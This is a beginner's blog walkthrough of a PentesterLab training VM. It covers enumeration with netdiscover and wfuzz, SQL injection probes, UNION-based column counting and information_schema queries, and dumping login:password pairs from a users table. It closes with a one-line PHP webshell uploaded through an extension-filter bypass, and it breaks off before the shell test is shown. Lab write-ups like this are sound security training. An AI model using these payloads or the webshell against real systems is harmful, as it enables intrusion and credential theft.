NB: I wrote this at midnight, in a hotel room in India, after very little sleep. I worked off notes I threw together last week, with a few small tests here and there. If you are trying to follow along and something isn’t working, let me know. I will post up a script with explanations sometime in the next week or two.
This is my first VM, and my first write-up. If you want to have a go at this one, it’s over here at the Pentester Lab exercise page. Bigger picture: I’ve been working through the bootcamp readings this month and I recommend it!
I have Kali running in Virtual Box. I have the Pentester Lab VM running in Virtual Box. The network set-up for both is host-only.
To find the IP of the VM I ran this in my Kali terminal:
netdiscover -r 192.168.56/24
So it begins…
FINGERPRINT && DIRECTORY ENUM
The lab uses telnet to inspect headers but my preference is generally view source and Burpsuite.
Either option will tell you: protocol (HTTP), scripting language (PHP).
Though Wfuzz is not necessary for your goals here, get in the habit. Dirb is cool too. Here’s the Wfuzz command I ran:
wfuzz -c -z file,wordlist/general/common.txt --hc 404 http://192.168.56.101/FUZZ.php
We already figured out that PHP is being used here, but the URL format also highlights that for us. Category content is being served with cat.php?id=
QUESTION MARKS MEAN QUESTIONS, FRIENDS.
I will post up a proper SQLi methodology at some point, but quick and dirty:
- Drop in ‘, ;, – and see what happens (string terminator, end statement and comment). Errors mean you should press on.
- See if basic arithmetic is being evaluated. Is the content different when you’ve got ‘cat.php?id=1’ and ‘cat.php?id=2-1’? If it’s the same, press on.
- Use short circuit cheats: ‘‘?id=1 OR 1=1’ and ‘‘?id=1 AND 1=2’ are probes I use.
Once there’s some hint that you’ve got an injection vulnerability, you want to exploit that to get more information on the database, and then you want to go to town.
The UNION keyword joins two SQL queries. This means that even though we cannot change the hardcoded PHP, we can do some messed up shit with it.
In order to use UNION, you need to figure out how many columns are in the table you’re playing with. UNION can only smush two results together if they’re the same width. You can incrementally test for columns with union calls, or with order by.
Here’s what that testing looks like:
http://192.168.56.101/cat.php?id=1%20UNION%20SELECT%20null http://192.168.56.101/cat.php?id=1%20UNION%20SELECT%20null,null http://192.168.56.101/cat.php?id=1%20UNION%20SELECT%20null,null,null
All of which will give you this: “The used SELECT statements have a different number of columns”.
Whereas all images will be returned with this command:
As an aside, I used null because it avoids issues with type restrictions, but you could easily have used 1,2,3,4 or a,b,c,d or whatever.
The order by approach is not dissimilar: You simply increment the number until the error goes away, like this:
http://192.168.56.101/cat.php?id=1%20ORDER%20BY%201-- http://192.168.56.101/cat.php?id=1%20ORDER%20BY%202-- http://192.168.56.101/cat.php?id=1%20ORDER%20BY%203-- http://192.168.56.101/cat.php?id=1%20ORDER%20BY%204--
Once we figure out how many columns we’re dealing with, we can start asking for specific information. Version, user and database are good. You just swap out one of your test values for an actual SQL command.
Here’s some input/output:
5.1.63-0 + Squeeze1
We want to find the table names and the column names so we can start targeting the good stuff, so we take advantage of information_schema. This database contains information about all the other databases being maintained by the SQL server. Two useful queries are:
- the list of tables: 1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables
- the list of columns: 1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns
But we want to view their output together (so it’s meaningful, rather than a raw list of data), so we use the concat function.
http://192.168.56.101/cat.php?id=1%20UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns
Using the output from this, we target this result:
Now we know the users database has a column for logins and one for passwords. So we dump that the same way:
http://192.168.56.101/cat.php?id=1%20UNION SELECT 1,concat(login,’:’,password),3,4 FROM users;
This gives us:
And, so, here… I cheated. This password can be ‘cracked’ using google. Just search the hash and the plaintext password is revealed: P4ssw0rd.
Otherwise, John The Ripper is the shit?
Once we have the admin password, log in and use the image upload to throw a basic webshell on the server. I used the file types php.test and .php3 to get around filters.
The code for your webshell would be something like:
<?php system($_GET["cmd"]); ?>
Then test to see if you got what you need by going to URL of the “image” and dropping in a command: